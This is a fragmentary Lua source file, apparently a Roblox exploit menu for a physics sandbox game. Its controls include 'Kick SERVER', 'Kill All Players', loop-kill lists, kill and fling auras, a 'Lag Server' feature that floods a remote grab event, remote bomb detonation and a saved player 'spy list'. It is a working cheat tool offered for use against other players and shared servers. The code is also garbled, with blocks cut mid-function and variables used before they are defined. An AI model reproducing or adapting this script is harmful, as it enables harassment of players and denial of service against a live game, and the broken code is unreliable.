if plr ~= O.me and
check_prem(plr.Name) and check_whll(plr.Name) and not(check_admin(plr.UserId)) then
local hrp1, hum1 =
get_all1(plr)
if hrp1 and hum1 and
check_hum(hum1) then
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
if twohand then
blob_kick(blob,hrp1,"Right",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Right", 1) end
end; if allblobs then
for _,blob in
pairs(blobs) do
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
if twohand
then
blob_kick(blob,hrp1,"Right",1)
if ksm
then task.delay(blob_kick, blob, hrp1, "Right", 1) end
end
end
end; if not(ik) then
task.wait((10-N.ks)/10) end
end
end
end
end
end
end
end,
})
blobtab:CreateToggle({
Name = "Kick all(White List Friends)",
CurrentValue = false,
Callback = function(Value)
kaw = Value
local blobs = {}
task.spawn(function()
while kaw and task.wait(1) do
blobs = {}
for _,bcpk in pairs(O.backpacks:GetChildren())
do
for _,toy in pairs(bcpk:GetChildren()) do
if toy.Name == "CreatureBlobman"
and bcpk:FindFirstChild("plr_name") then
local name =
bcpk.plr_name.Value
if
S.Players:FindFirstChild(name) and check_rank(S.Players[name]) and
not(check_list(blobs, toy)) then
table.insert(blobs, toy)
end
end
end
end
end
end)
while kaw and task.wait() do
local hrp, hum = get_all()
if hrp and hum and check_hum(hum) then
local sp = hum.SeatPart
if sp and sp.Parent.Name == "CreatureBlobman"
then
local blob = sp.Parent
for _,plr in
ipairs(S.Players:GetPlayers()) do
if
not(plr:FindFirstChild("isfriend")) then create_blv(plr, "isfriend",
plr:IsFriendsWith(O.me.UserId)) end
if plr ~= O.me and
check_prem(plr.Name) and check_whll(plr.Name) and not(check_admin(plr.UserId)) and
not(plr.isfriend.Value) then
local hrp1, hum1 =
get_all1(plr)
if hrp1 and hum1 and
check_hum(hum1) then
blob_kick(blob,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Left", 1) end
if twohand then
blob_kick(blob,hrp1,"Right",1)
if ksm then
task.delay(blob_kick, blob, hrp1, "Right", 1) end
end; if allblobs then
for _,blob1 in
pairs(blobs) do
blob_kick(blob1,hrp1,"Left",1)
if ksm then
task.delay(blob_kick, blob1, hrp1, "Left", 1) end
if twohand
then
blob_kick(blob1,hrp1,"Right",1)
if ksm
then task.delay(blob_kick, blob1, hrp1, "Right", 1) end
end
end
end; if not(ik) then
task.wait((10-N.ks)/10) end
end
end
end
end
end
end
end,
})
blobtab:CreateSlider({
Name = "Kick Speed Slider",
Range = {1, 10},
Increment = 1,
Suffix = "",
CurrentValue = 10,
Flag = "KickSpeedSlider",
Callback = function(Value)
N.ks = Value
end,
})
blobtab:CreateToggle({
Name = "Max Speed(Bad Ping)",
CurrentValue = false,
Flag = "MaxSpeed",
Callback = function(Value)
ksm = Value
end,
})
blobtab:CreateToggle({
Name = "Invis Kick",
CurrentValue = false,
Flag = "InvisKick",
Callback = function(Value)
ik = Value
end,
})
blobtab:CreateToggle({
Name = "Two Hand Mode",
CurrentValue = false,
Flag = "TwoHandMode",
Callback = function(Value)
twohand = Value
end,
})
blobtab:CreateToggle({
Name = "Use All Blobs",
CurrentValue = false,
Flag = "UseAllBlobs",
Callback = function(Value)
allblobs = Value
end,
})
blobtab:CreateToggle({
Name = "Ghost Blob",
CurrentValue = false,
Flag = "GhostKick",
Callback = function(Value)
gk = Value
while gk and task.wait() do
local v1 = O.me.Character
if v1 then
local v2 = v1.Humanoid.SeatPart
if v2 then
local v3 = v2.Parent
if v3.Name == "CreatureBlobman" then
if
v2:FindFirstChild("WeldConstraint") then
v2.WeldConstraint:Destroy()
local bp =
Instance.new("BodyPosition", v2)
bp.MaxForce = N.V.mhv3
bp.Position = v2.Position
v2.Transparency = 0
end
end
end
end
end
end,
})
blobtab:CreateSection("Advanced Functions")
blobtab:CreateToggle({
Name = "Kick All From All Blobs",
CurrentValue = false,
Callback = function(Value)
kafab = Value
while kafab and task.wait() do
for _,plr in ipairs(S.Players:GetPlayers()) do
if plr ~= O.me and check_prem(plr.Name) and
check_whll(plr.Name) then
local v1 = plr.Character
if v1 then
local v2 =
v1:FindFirstChild("HumanoidRootPart")
local v3 = v1.Humanoid.SeatPart
if v2 and v1.Humanoid.Health ~= 0
then
for _,toy in
S.w:GetDescendants() do
if toy.Name ==
"CreatureBlobman" then
if
toy:FindFirstChild("BlobmanSeatAndOwnerScript") and
toy:FindFirstChild("LeftDetector") and toy:FindFirstChild("RightDetector") then
if not(v3)
then
blob_kick(toy,v2,"Left",1)
task.wait()
blob_kick(toy,v2,"Right",1)
end
end
end
end
end
end
end
end
end
end,
})
blobtab:CreateButton({
Name = "Kick SERVER",
Callback = function()
if O.me.Character then
local v4 = O.me.Character:FindFirstChild("Humanoid")
local v24 =
O.me.Character:FindFirstChild("HumanoidRootPart")
if v4 and v24 then
local v5 = v4.SeatPart
if v5 then
local v7 = v5.Parent
if v7.Name == "CreatureBlobman" then
local save = v24.CFrame
v24.CFrame = v24.CFrame +
Vector3.new(0,900000,0)
for _,plr in
ipairs(S.Players:GetPlayers()) do
local v1 = plr.Character
if v1 and
check_prem(plr.Name) and check_whll(plr.Name) then
local v2 =
v1:FindFirstChild("Humanoid")
local v3 =
v1:FindFirstChild("HumanoidRootPart")
if v2 and v3 then
local v6 =
v2.Health
if v6 ~= 0 then
blob_kick(v7,v3,"Right",1); task.wait() end
end
end
end
v24.CFrame = save
for a=0,3 do for a=0,135 do
O.Events.CreateGrabEvent:FireServer(O.SL, Sl.CFrame); task.wait() end; task.wait(1)
end
end
end
end
end
end,
})
blobtab:CreateButton({
Name = "Kick SERVER(White List Friends)",
Callback = function()
if O.me.Character then
local v4 = O.me.Character:FindFirstChild("Humanoid")
local v24 =
O.me.Character:FindFirstChild("HumanoidRootPart")
if v4 and v24 then
local v5 = v4.SeatPart
if v5 then
local v7 = v5.Parent
if v7.Name == "CreatureBlobman" then
local save = v24.CFrame
v24.CFrame = v24.CFrame +
Vector3.new(0,900000,0)
for _,plr in
ipairs(S.Players:GetPlayers()) do
local v1 = plr.Character
if v1 and
check_prem(plr.Name) and not(plr:IsFriendsWith(O.me.userId)) and
check_whll(plr.Name) then
local v2 =
v1:FindFirstChild("Humanoid")
local v3 =
v1:FindFirstChild("HumanoidRootPart")
if v2 and v3 then
local v6 =
v2.Health
if v6 ~= 0 then
blob_kick(v7,v3,"Right",1); task.wait() end
end
end
end
v24.CFrame = save
for a=0,3 do for a=0,135 do
O.Events.CreateGrabEvent:FireServer(O.SL, Sl.CFrame); task.wait() end; task.wait(1)
end
end
end
end
end
end,
})
O.Events.CreateGrabEvent:FireServer(S.w.SpawnLocation,S.w.SpawnLocation.CFrame)
end
task.wait(1)
end
end
})
lagtab:CreateSlider({
Name = "Lag Intensity Slider",
Range = {1, 404},
Increment = 1,
Suffix = "Create Grab Per Second*10",
CurrentValue = 105,
Flag = "LagIntensitySlider",
Callback = function(Value)
N.Lag_Intensity = Value*10
end,
})
lagtab:CreateKeybind({
Name = "Lag Server Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "LagServerBind",
Callback = function(Keybind)
fstatus("Lag Server".." is a "..(not(laggg) and "En" or
"Dis").."abled")
LagServer:Set(not(laggg))
end,
})
local killtab = Window:CreateTab("Players Menu", 7733674079)
killtab:CreateSection("Kill")
killtab:CreateButton({
Name = "Kill Player",
Callback = function()
for _,plr in pairs(P.who) do
if S.Players:FindFirstChild(plr) then
plr_kill2(S.Players[plr])
end
end
end,
})
killtab:CreateToggle({
Name = "Loop Kill Player",
CurrentValue = false,
Callback = function(Value)
loopkill = Value
while loopkill and task.wait() do
for _,plr in pairs(P.who) do
if S.Players:FindFirstChild(plr) then
plr_kill2(S.Players[plr])
end
end
end
end,
})
killtab:CreateButton({
Name = "Kill All Players",
Callback = function()
for _,plr in ipairs(S.Players:GetPlayers()) do
plr_kill2(plr)
end
end,
})
liststab:CreateDropdown({
Name = "Right Hand List",
Options = Lt.hui,
CurrentOption = {""},
MultipleOptions = true,
Flag = "RightHandList",
Callback = function(Option)
P.rplr = {"f"}
for i,v in pairs(Option) do
for i2,v2 in pairs(Lt.hui2) do
if v == v2 then table.insert(P.rplr, i2) end
end
end
end,
})
liststab:CreateSection("Players Menu")
liststab:CreateDropdown({
Name = "Kill List",
Options = Lt.hui,
CurrentOption = {""},
MultipleOptions = true,
Flag = "PlayersList",
Callback = function(Option)
P.who = {}
for i,v in pairs(Option) do
for i2,v2 in pairs(Lt.hui2) do
if v == v2 then table.insert(P.who, i2) end
end
end
end,
})
liststab:CreateSection("Others")
liststab:CreateDropdown({
Name = "White List",
Options = Lt.hui,
CurrentOption = {""},
MultipleOptions = true,
Flag = "WhiteList",
Callback = function(Option)
P.whll = {"f"}
for i,v in pairs(Option) do
for i2,v2 in pairs(Lt.hui2) do
if v == v2 then table.insert(P.whll, i2) end
end
end
end,
})
liststab:CreateDropdown({
Name = "Join Notify(Temp) List",
Options = Lt.hui,
CurrentOption = {""},
MultipleOptions = true,
Flag = "SpyList",
Callback = function(Option)
Lt.spylist = {"f"}
for i,v in pairs(Option) do
for i2,v2 in pairs(Lt.hui2) do
if v == v2 then table.insert(Lt.spylist, i2)
end
end
end
end,
})
end
liststab:CreateButton({
Name = "Create updating lists",
Callback = function() create_players_lists() end,
})
liststab:CreateKeybind({
Name = "Left Hand",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoLeftHand",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
for i,v in pairs(P.lplr) do
if v == v1.Parent.Name then
table.remove(P.lplr, i)
fstatus(v..": Remove from Left Hand
List")
t = false
break
end
end
if t then
table.insert(P.lplr, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Left Hand
List")
break
end
break
end
end
end,
})
liststab:CreateKeybind({
Name = "Right Hand",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoRightHand",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
for i,v in pairs(P.rplr) do
if v == v1.Parent.Name then
table.remove(P.rplr, i)
fstatus(v..": Remove from Right Hand
List")
t = false
break
end
end
if t then
table.insert(P.rplr, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Right Hand
List")
end
break
end
end
end,
})
liststab:CreateKeybind({
Name = "Kill",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoPlayersList",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
for i,v in pairs(P.who) do
if v == v1.Parent.Name then
table.remove(P.who, i)
fstatus(v..": Remove from Players List")
t = false
break
end
end
if t then
table.insert(P.who, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Players
List")
end
break
end
end
end,
})
liststab:CreateKeybind({
Name = "White",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoWhiteList",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
for i,v in pairs(P.whll) do
if v == v1.Parent.Name then
table.remove(P.whll, i)
fstatus(v..": Remove from White List")
t = false
break
end
end
if t then
table.insert(P.whll, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from White
List")
end
break
end
end
end,
})
liststab:CreateKeybind({
Name = "Join Notify(Temp)",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoSpyList(Temp)",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
for i,v in pairs(Lt.spylist) do
if v == v1.Parent.Name then
table.remove(Lt.spylist, i)
fstatus(v..": Remove from Spy
List(Temp)")
t = false
break
end
end
if t then
table.insert(Lt.spylist, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Spy
List(Temp)")
end
break
end
end
end,
})
liststab:CreateKeybind({
Name = "Join Notify(Save)",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Add/RemovePlayertoSpyList(Save)",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = {"Head","Right Arm","Left Arm","Torso","Right
Leg","Left Leg","HumanoidRootPart","FirePlayerPart"}
for _,v in pairs(check) do
if v == v1.Name and check_prem(v1.Parent.Name) then
local t = true
local t2 = true
for i,v in pairs(Lt.sspylist) do
if v == v1.Parent.Name then
table.remove(Lt.sspylist, i)
fstatus(v..": Remove from Spy
List(Save)")
writefile("VHS/sspylist.vhs",tostring(S.HS:JSONEncode(Lt.sspylist)))
t = false
break
end
end
for i,v in pairs(Lt.spylist) do
if v == v1.Parent.Name then
if not(t) then
table.remove(Lt.spylist, i)
fstatus(v..": Remove from Spy
List(Temp)")
end
t2 = false
break
end
end
if t then
table.insert(Lt.sspylist, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Spy
List(Save)")
writefile("VHS/sspylist.vhs",tostring(S.HS:JSONEncode(Lt.sspylist)))
end
if t2 then
table.insert(Lt.spylist, v1.Parent.Name)
fstatus(v1.Parent.Name..": Add from Spy
List(Temp)")
end
break
end
end
end,
})
create_players_lists()
auratab:CreateSection("Auras")
local TpToSpawnAura = auratab:CreateToggle({
Name = "Tp To Spawn Aura",
CurrentValue = false,
Flag = "TpToSpawnAura",
Callback = function(Value)
flingaura = Value
while flingaura and task.wait() do
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("Head") if v2 then
for _,plr in
ipairs(S.Players:GetPlayers()) do
if flingaura and plr ~= O.me and
check_prem(plr.Name) and check_whll(plr.Name) then
local v11 = plr.Character; if
v11 then
local v12 =
v11:FindFirstChild("Head"); if v12 then
if (v2.Position -
v12.Position).Magnitude < N.distallaura then
task.spawn(function()
invis_touch(hd)
while
not(hd:FindFirstChild("PartOwner")) do task.wait() end
local
bp = hd:FindFirstChild("fpabp")
if
not(bp) then
bp.MaxForce = Vector3.new(10000,10000,10000)
bp.D = 2000
bp:Destroy()
end
end)
end
end
end
end
end
end
end
end
for _,obj in pairs(S.w:GetDescendants()) do if obj.Name ==
"fpabp" then obj:Destroy() end end
end,
})
task.spawn(function()
if not(prt:FindFirstChild("ftabp")) then
bp.Position = prt.Position
bp.D = 100
bp.MaxForce = N.V.mhv3
bp.Name = "ftabp"
end
if not(prt:FindFirstChild("ftabg")) then
bg.CFrame = prt.CFrame
bg.D = 100
bg.MaxTorque = N.V.mhv3
bg.Name = "ftabg"
end
if not(prt:FindFirstChild("ftahl")) then
hl.Adornee = toy
hl.FillTransparency = 0.5
hl.OutlineTransparency = 0
hl.Name = "ftahl"
hlv.Value = hl
hlv.Name = "ftahl"
end
local po = false
invis_touch(prt)
task.wait()
end
end)
elseif
prt:FindFirstChild("ftabp") then prt.ftabp:Destroy(); prt.ftabg:Destroy();
prt.ftahl.Value:Destroy(); prt.ftahl:Destroy() end
break
end
end
end
end
end
end
end
end
end
for _,obj in pairs(S.w:GetDescendants()) do if obj.Name ==
"ftabp" or obj.Name == "ftabg" or obj.Name == "ftahl" then obj:Destroy() end end
end,
})
task.spawn(function()
local
save = prt.Name
prt.Name = "Deleting"
while
deletetoy and task.wait() do
invis_touch(prt)
prt.CFrame = P.tptoypos
prt.Name = save
end)
break
end
end
end
end
if not(L.tptoyfs) then task.wait()
end
end
end
end
end
end,
})
auratab:CreateKeybind({
Name = "Choice Tp Toy Position",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "ChoiceTpToyPosition",
Callback = function(Keybind)
local v1 = get_hrp(); if v1 then P.tptoypos = v1.CFrame end
end,
})
auratab:CreateToggle({
Name = "Tp Toy fast speed(bad fps)",
CurrentValue = false,
Flag = "TpToyfastspeed",
Callback = function(Value)
L.tptoyfs = Value
end,
})
auratab:CreateSection("Auras Binds")
auratab:CreateKeybind({
Name = "Tp To Spawn Aura Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "TpToSpawnAuraBind",
Callback = function(Keybind)
fstatus("Tp To Spawn Aura".." is a "..(not(flingaura) and
"En" or "Dis").."abled")
TpToSpawnAura:Set(not(flingaura))
end,
})
auratab:CreateKeybind({
Name = "Fling Aura Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FlingAuraBind",
Callback = function(Keybind)
fstatus("Fling Aura".." is a "..(not(fling2aura) and "En"
or "Dis").."abled")
FlingAura:Set(not(fling2aura))
end,
})
auratab:CreateKeybind({
Name = "Kill Aura (void (fast but 65% chance)) Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "KillAuraBind",
Callback = function(Keybind)
fstatus("Kill Aura (void (fast but 65% chance))".." is a
"..(not(killaura) and "En" or "Dis").."abled")
KillAura:Set(not(killaura))
end,
})
auratab:CreateKeybind({
Name = "Kill Aura (health (slow but 80% chance) Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "KillAuraBind",
Callback = function(Keybind)
fstatus("Kill Aura (health (slow but 80% chance)".." is a
"..(not(killaura1) and "En" or "Dis").."abled")
KillAura1:Set(not(killaura1))
end,
})
auratab:CreateKeybind({
Name = "Grab Aura Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "GrabAuraBind",
Callback = function(Keybind)
fstatus("Grab Aura".." is a "..(not(grabaura) and "En" or
"Dis").."abled")
GrabAura:Set(not(grabaura))
end,
})
auratab:CreateKeybind({
Name = "Split Aura Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "SplitAuraBind",
Callback = function(Keybind)
fstatus("Split Aura".." is a "..(not(splitaura) and "En" or
"Dis").."abled")
SplitAura:Set(not(splitaura))
end,
})
auratab:CreateKeybind({
Name = "Freeze Toy Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "FreezeToyBind",
Callback = function(Keybind)
fstatus("Freeze Toy".." is a "..(not(freezetoy) and "En" or
"Dis").."abled")
FreezeToy:Set(not(freezetoy))
end,
})
auratab:CreateKeybind({
Name = "Delete Toy Bind",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "DeleteToyBind",
Callback = function(Keybind)
fstatus("Delete Toy".." is a "..(not(deletetoy) and "En" or
"Dis").."abled")
DeleteToy:Set(not(deletetoy))
end,
})
auratab:CreateSection("Toys Aura")
auratab:CreateToggle({
Name = "Aura Toggle",
CurrentValue = false,
Callback = function(Value)
toyaura = Value
while toyaura and task.wait() do
local v1 = O.me.Character
if v1 and N.cat ~= 0 then
local v2 =
v1:FindFirstChild("HumanoidRootPart")
local v12 = v1:FindFirstChild("CamPart")
if v2 and v12 then
N.cat = 0
for i,toy in pairs(Lt.lat) do if
toy.Parent then N.cat = N.cat + 1 end end
if hat then N.chal = N.chal - N.chal -
N.chal end
if dyat then N.cdyat = N.cdyat - N.cdyat
- N.cdyat end
for i,toy in pairs(Lt.lat) do
if toy.Parent then
local v3 =
toy:FindFirstChild("PartOwnerValue")
local v7 =
toy:FindFirstChild("ovhlat")
if not(v3) then
for _,prt in
pairs(toy:GetChildren()) do
if prt:IsA("Part")
then
if
prt.CanQuery then
local
v31 = Instance.new("ObjectValue")
v31.Parent = toy
v31.Name = "PartOwnerValue"
v31.Value = prt
v3 =
prt
break
end
end
end
else v3 = v3.Value end
if not(v7) then
local hl =
Instance.new("Highlight", O.hls)
hl.Name = "hlat"
hl.Adornee = toy
hl.OutlineColor =
Color3.fromRGB(0, 0, 0)
hl.FillColor =
Color3.fromRGB(0, 0, 0)
hl.OutlineTransparency =
0
hl.FillTransparency =
0.5
v7 = hl
local ov =
Instance.new("ObjectValue", toy)
ov.Name = "ovhlat"
ov.Value = hl
else v7 = v7.Value;
v7.Enabled = false end
if vizat then v7.Enabled =
true end
if v3 then
local v4 =
v3:FindFirstChild("bgat")
local v5 =
v3:FindFirstChild("PartOwner")
local v6 =
v3:FindFirstChild("bpat")
if not(v4) then v4 =
Instance.new("BodyGyro", v3); v4.MaxTorque = N.V.mhv3; v4.D = 100; v4.Name = "bgat"
end
if not(v6) then v6 =
Instance.new("BodyPosition", v3); v6.MaxForce = N.V.mhv3; v6.D = 100; v6.Name =
"bpat" end
auto_invis_touch(v3, v2,
v7, N.C2)
local v41 =
toy:FindFirstChild("HoldPart"); if v41 then
local v42 =
v41:FindFirstChild("RigidConstraint"); if v42 then
local v43 =
v42.Attachment1; if v43 then
auratab:CreateToggle({
Name = "Spawn Toy Toggle",
CurrentValue = false,
Flag = "SpawnToyToggle",
Callback = function(Value)
sttta = Value
end,
})
auratab:CreateToggle({
Name = "Hide Aura Toggle",
CurrentValue = false,
Flag = "HideAuraToggle",
Callback = function(Value)
hatta = Value
end,
})
auratab:CreateToggle({
Name = "Safe Mode Toggle",
CurrentValue = false,
Flag = "SafeModeToggle",
Callback = function(Value)
sfat = Value
end,
})
auratab:CreateToggle({
Name = "Visualize Toggle",
CurrentValue = false,
Flag = "VisualizeToggle",
Callback = function(Value)
vizat = Value
end,
})
auratab:CreateToggle({
Name = "Rotation Toggle",
CurrentValue = false,
Flag = "RotationToggle",
Callback = function(Value)
StepEnable = Value
end,
})
auratab:CreateSlider({
Name = "Rotation Slider",
Range = {1, 100},
Increment = 1,
Suffix = "",
CurrentValue = 5,
Flag = "RotationSlider",
Callback = function(Value)
N.RawStep = Value
end,
})
auratab:CreateSlider({
Name = "Distance Slider",
Range = {-100, 100},
Increment = 1,
Suffix = "",
CurrentValue = 10,
Flag = "DistanceSlider",
Callback = function(Value)
N.dta = Value
end,
})
auratab:CreateSlider({
Name = "Hight Slider",
Range = {-100, 100},
Increment = 1,
Suffix = "",
CurrentValue = -2,
Flag = "HightSlider",
Callback = function(Value)
N.hta = Value
end,
})
auratab:CreateSlider({
Name = "X Rotation",
Range = {-180, 180},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "XRotation",
Callback = function(Value)
N.xrta = Value
end,
})
auratab:CreateSlider({
Name = "Y Rotation",
Range = {-180, 180},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "YRotation",
Callback = function(Value)
N.yrta = Value
end,
})
auratab:CreateSlider({
Name = "Z Rotation",
Range = {-180, 180},
Increment = 1,
Suffix = "",
CurrentValue = 0,
Flag = "ZRotation",
Callback = function(Value)
N.zrta = Value
end,
})
auratab:CreateToggle({
Name = "Look At Toggle",
CurrentValue = false,
Flag = "LookAtToggle",
Callback = function(Value)
lokat = Value
end,
})
auratab:CreateToggle({
Name = "Lock Toggle",
CurrentValue = false,
Flag = "LockToggle",
Callback = function(Value)
lckat = Value
end,
})
auratab:CreateToggle({
Name = "Sync Look Toggle",
CurrentValue = false,
Flag = "SyncLookToggle",
Callback = function(Value)
slkat = Value
end,
})
auratab:CreateToggle({
Name = "XY Toggle",
CurrentValue = false,
Flag = "XYToggle",
Callback = function(Value)
xyat = Value
end,
})
auratab:CreateToggle({
Name = "YZ Toggle",
CurrentValue = false,
Flag = "YZToggle",
Callback = function(Value)
yzat = Value
end,
})
auratab:CreateToggle({
Name = "Square Toggle",
CurrentValue = false,
Flag = "SquareToggle",
Callback = function(Value)
squat = Value
end,
})
auratab:CreateToggle({
Name = "+1 wait",
CurrentValue = false,
Flag = "+1wait",
Callback = function(Value)
pwaat = Value
end,
})
auratab:CreateToggle({
Name = "+wait from all toys",
CurrentValue = false,
Flag = "+waitfromalltoy",
Callback = function(Value)
pwat = Value
end,
})
auratab:CreateToggle({
Name = "Destabilize Distance (+-1000)",
CurrentValue = false,
Flag = "DestabilizeDistance(+-1000)",
Callback = function(Value)
hat = Value
if Value then N.chal = 1000 else N.chal = 0 end
end,
})
auratab:CreateToggle({
Name = "Destabilize Hight (+-1000)",
CurrentValue = false,
Flag = "DestabilizeHight(+-1000)",
Callback = function(Value)
dyat = Value
if Value then N.cdyat = 1000 else N.cdyat = 0 end
end,
})
auratab:CreateKeybind({
Name = "Select Center Part",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "SelectCenterPart",
Callback = function(Keybind)
local v1 = O.mouse.target
local check = O.me.Character and
O.me.Character:FindFirstChild("HumanoidRootPart") and 1
P.spat = v1 or (check == 1 and
O.me.Character.HumanoidRootPart)
end,
})
auratab:CreateKeybind({
Name = "Reset Center Part",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "ResetCenterPart",
Callback = function(Keybind)
local check = O.me.Character and
O.me.Character:FindFirstChild("HumanoidRootPart") and 1
P.spat = check == 1 and O.me.Character.HumanoidRootPart
end,
})
auratab:CreateKeybind({
Name = "Add toy",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "Addtoy",
Callback = function(Keybind)
local v1 = O.mouse.target; if v1 then
if v1.CollisionGroup == "Items" and not(v1.Anchored)
then table.insert(Lt.lat, v1.Parent); N.cat = N.cat + 1
elseif v1.CollisionGroup == "Players" then
table.insert(Lt.lat, v1.Parent.Head); N.cat = N.cat + 1 end
end
end,
})
toytab:CreateSection("Explosions")
toytab:CreateKeybind({
Name = "Explode All Bombs",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "ExplodeAllBombs",
Callback = function(Keybind)
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if
v2 then
local save = v2.CFrame
local rl, rl1, rl2 = {}, {}, {}
local target = O.mouse.Target
local hit = O.mouse.Hit
for _,toy in
pairs(O.backpacks:GetDescendants()) do
local check = {"BombMissile",
"FireworkMissile", "BombMissile/v", "FireworkMissile/v"}
if check_list(check, toy.Name) and
toy:FindFirstChild("HitboxBodyTop") then
auto_invis_touch(toy.HitboxBodyTop,
v2); table.insert(rl, toy)
elseif (toy.Name == "BombBalloon" or
toy.Name == "BombBalloon/v") and toy:FindFirstChild("Balloon") then
auto_invis_touch(toy.Balloon, v2);
table.insert(rl1, toy)
elseif (toy.Name == "BombDarkMatter" or
toy.Name == "BombDarkMatter/v") and toy:FindFirstChild("Spinner") then
auto_invis_touch(toy.Spinner, v2);
table.insert(rl2, toy)
end
end; v2.CFrame = save
if target then
for _,rk in pairs(rl) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.PartHitDetector,
target, pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
for _,rk in pairs(rl1) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.Balloon, target,
pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
for _,rk in pairs(rl2) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.PartHitDetector,
target, pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
end
end
end
end,
})
toytab:CreateKeybind({
Name = "Explode All My Bombs",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "ExplodeAllMyBombs",
Callback = function(Keybind)
local v1 = O.me.Character; if v1 then
local v2 = v1:FindFirstChild("HumanoidRootPart"); if
v2 then
local save = v2.CFrame
local rl, rl1, rl2 = {}, {}, {}
local target = O.mouse.Target
local hit = O.mouse.Hit
for _,toy in pairs(O.backpack:GetChildren()) do
local check = {"BombMissile",
"FireworkMissile", "BombMissile/v", "FireworkMissile/v"}
if check_list(check, toy.Name) and
toy:FindFirstChild("HitboxBodyTop") then
auto_invis_touch(toy.HitboxBodyTop,
v2); table.insert(rl, toy)
elseif (toy.Name == "BombBalloon" or
toy.Name == "BombBalloon/v") and toy:FindFirstChild("Balloon") then
auto_invis_touch(toy.Balloon, v2);
table.insert(rl1, toy)
elseif (toy.Name == "BombDarkMatter" or
toy.Name == "BombDarkMatter/v") and toy:FindFirstChild("Spinner") then
auto_invis_touch(toy.Spinner, v2);
table.insert(rl2, toy)
end
end; v2.CFrame = save
if target then
for _,rk in pairs(rl) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.PartHitDetector,
target, pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
for _,rk in pairs(rl1) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.Balloon, target,
pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
for _,rk in pairs(rl2) do
local pos = Vector3.new(hit.x,
hit.y, hit.z)
if L.smptmt then pos =
target.Position end
toy_explode(rk.PartHitDetector,
target, pos)
if N.expldelay ~= 0 then
task.wait(N.expldelay) end
end
end
end
end
end,
})
toytab:CreateSlider({
Name = "Delay",
Range = {0, 1},
Increment = 0.01,
Suffix = "",
CurrentValue = 0,
Flag = "DelaySlider",
Callback = function(Value)
N.expldelay = Value
end,
})
toytab:CreateToggle({
Name = "Switch Mouse Position to Mouse Target",
CurrentValue = false,
Flag = "SwitchMousePositiontoMouseTarget",
Callback = function(Value)
L.smptmt = Value
end,
})
toytab:CreateSection("Bomb Missile")
toytab:CreateKeybind({
Name = "Spawn Explosion",
CurrentKeybind = "",
HoldToInteract = false,
Flag = "BombMissile.SpawnExplosionBind",
